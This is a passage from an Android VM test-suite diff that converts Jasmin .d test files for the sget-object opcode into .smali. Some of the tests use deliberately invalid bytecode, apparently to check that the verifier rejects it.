diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.d
deleted file mode 100644
index 1455ebd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_14.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_14
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_14.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.smali
new file mode 100644
index 0000000..1bba4a9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_14.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_14.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_14;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_14;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.d
deleted file mode 100644
index 0634476..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_15.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_15
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_15.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.smali
new file mode 100644
index 0000000..926ef4f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_15.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_15;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.d
deleted file mode 100644
index 42db7a8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_16.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_16
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.smali
new file mode 100644
index 0000000..70a16e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_16.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.d
deleted file mode 100644
index 0a3ba48..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_17.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_17
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_17.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.smali
new file mode 100644
index 0000000..d0bad06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_17.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.d
deleted file mode 100644
index ca498f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_18.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_18
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.smali
new file mode 100644
index 0000000..89b043b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_18.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.d
deleted file mode 100644
index dfcad9b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_19.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.smali
new file mode 100644
index 0000000..5fc2015
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_19.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.d
deleted file mode 100644
index 89e7bfb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_20.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.smali
new file mode 100644
index 0000000..0d0d77e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_20.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.d
deleted file mode 100644
index ddb0713..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_21.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_21
-.super java/lang/Object
-
-.field public static i1 Ljava/lang/Object;
-
-.method static <clinit>()V
-.limit regs 1
-       new-instance v0, java/lang/Object
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       
-       sput-object v0, dot.junit.opcodes.sget_object.d.T_sget_object_21.i1 Ljava/lang/Object;
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_21.i1 Ljava/lang/String;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.smali
new file mode 100644
index 0000000..96fdd61
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_21.smali
@@ -0,0 +1,53 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_21;
+.super Ljava/lang/Object;
+.source "T_sget_object_21.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 1
+
+    new-instance v0, Ljava/lang/Object;
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+
+    sput-object v0, Ldot/junit/opcodes/sget_object/d/T_sget_object_21;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/String;
+    .registers 3
+
+    sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_21;->i1:Ljava/lang/String;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.d
deleted file mode 100644
index 498a01a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_3.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_3
-.super java/lang/Object
-
-.field public static i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-object v3, dot.junit.opcodes.sget_object.d.T_sget_object_3.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.smali
new file mode 100644
index 0000000..29c6c9c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_3;
+.super Ljava/lang/Object;
+.source "T_sget_object_3.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-object p1, Ldot/junit/opcodes/sget_object/d/T_sget_object_3;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.d
deleted file mode 100644
index d00c4a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_4.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_4
-.super java/lang/Object
-
-.field public static i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_4.i1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.smali
new file mode 100644
index 0000000..34a0c03
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_4;
+.super Ljava/lang/Object;
+.source "T_sget_object_4.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_4;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.d
deleted file mode 100644
index 35687ab..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_5.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_5
-.super java/lang/Object
-
-.field public i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const v2, 0
-       iput-object v2, v3, dot.junit.opcodes.sget_object.d.T_sget_object_5.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_5.i1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.smali
new file mode 100644
index 0000000..5b3a76f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_5;
+.super Ljava/lang/Object;
+.source "T_sget_object_5.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 4
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    const v2, 0x0
+
+    iput-object v2, p0, Ldot/junit/opcodes/sget_object/d/T_sget_object_5;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_5;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.d
deleted file mode 100644
index 03483da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
